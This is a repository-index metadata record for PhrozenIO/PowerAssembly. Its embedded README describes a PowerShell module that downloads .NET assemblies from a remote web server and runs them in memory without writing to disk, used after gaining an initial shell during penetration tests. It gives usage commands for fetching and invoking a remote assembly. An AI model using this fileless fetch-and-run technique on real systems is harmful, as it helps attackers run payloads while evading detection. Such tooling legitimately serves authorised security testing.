{"id":21076497,"url":"https://github.com/phrozenio/powerassembly","last_synced_at":"2025-05-16T07:31:32.404Z","repository":{"id":110104381,"uuid":"420166940","full_name":"PhrozenIO/PowerAssembly","owner":"PhrozenIO","description":"Map remote .NET assemblies to memory for further invocation.","archived":false,"fork":false,"pushed_at":"2021-10-22T16:24:38.000Z","size":112,"stargazers_count":40,"open_issues_count":0,"forks_count":9,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-04-03T21:51:07.604Z","etag":null,"topics":["assembly","loader","powershell","remote"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PhrozenIO.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2021-10-22T16:21:24.000Z","updated_at":"2025-02-05T02:49:14.000Z","dependencies_parsed_at":"2023-05-21T14:53:17.235Z","dependency_job_id":null,"html_url":"https://github.com/PhrozenIO/PowerAssembly","commit_stats":null,"previous_names":["phrozenio/powerassembly"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerAssembly","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerAssembly/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerAssembly/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PhrozenIO%2FPowerAssembly/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PhrozenIO","download_url":"https://codeload.github.com/PhrozenIO/PowerAssembly/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254488228,"owners_count":22079385,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["assembly","loader","powershell","remote"],"created_at":"2024-11-19T19:28:41.627Z","updated_at":"2025-05-16T07:31:32.005Z","avatar_url":"https://github.com/PhrozenIO.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# PowerAssembly\n\nMap in current PowerShell Instance Memory .NET Assemblies from remote web server.\n\nWhen Assembly is mapped, you can invoke it's main with a command line argument.\n\nThe advantage of this technique is to avoid having assemblies written on disk. Everything happens in memory.\n\nI'm using this script during my penetration tests / labs right after getting an initial shell on Windows to load other .NET Tools (Ex: ShapHound, ShapUp etc..)\n\n# Prepare\n\nYou can use this code whether as a PowerShell Module or Classic Script.\n\n## As a module\n\nChoose an existing PowerShell Module Folder (see `echo $env:PSModulePath`)\n\nCreate a folder called `PowerAssembly` and place the `PowerAssembly.psm1` module inside of this new folder.\n\nOpen a new PowerShell Window and enter `Import-Module PowerAssembly`\n\nThe module is now ready for use with available functions:\n\n* Get-MappedAssembliesList \n* Invoke-Assembly\n* Get-RemoteAssembly\n\n## As a script\n\nYou can for example copy / paste the whole `PowerAssembly.psm1` code in a new Powershell Window and enjoy offered functionalities.\n\n## Use It\n\n### Get-RemoteAssembly\n\nRetrieve a .NET Assembly hosted in a remote web server.\n\nURI must be a valid .NET Assembly file otherwise this function will raise an error.\n\nExample: \n\n`Get-RemoteAssembly -RemoteAddress http://127.0.0.1/MyAssembly.exe`\n\nor simply\n\n`Get-RemoteAssembly http://127.0.0.1/MyAssembly.exe`\n\n### Get-MappedAssembliesList \n\nReturn the list of successfully mapped assemblies with its index number. Index is important to define which assembly to invoke using `Invoke-Assembly` function.\n\n`Get-MappedAssembliesList`\n\n### Invoke-Assembly\n\nInvoke the main function of a target mapped assembly (defined by its index, see `Get-MappedAssembliesList`)\n\nExample:\n\n`Invoke-Assembly -mappedIndex 1 -argumentLine \"Arg1 Arg2 Arg3\"`\n\nNotice: Index `0` = `1`\n\n![Demo](Images/demo.png)\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fphrozenio%2Fpowerassembly","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fphrozenio%2Fpowerassembly","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fphrozenio%2Fpowerassembly/lists"}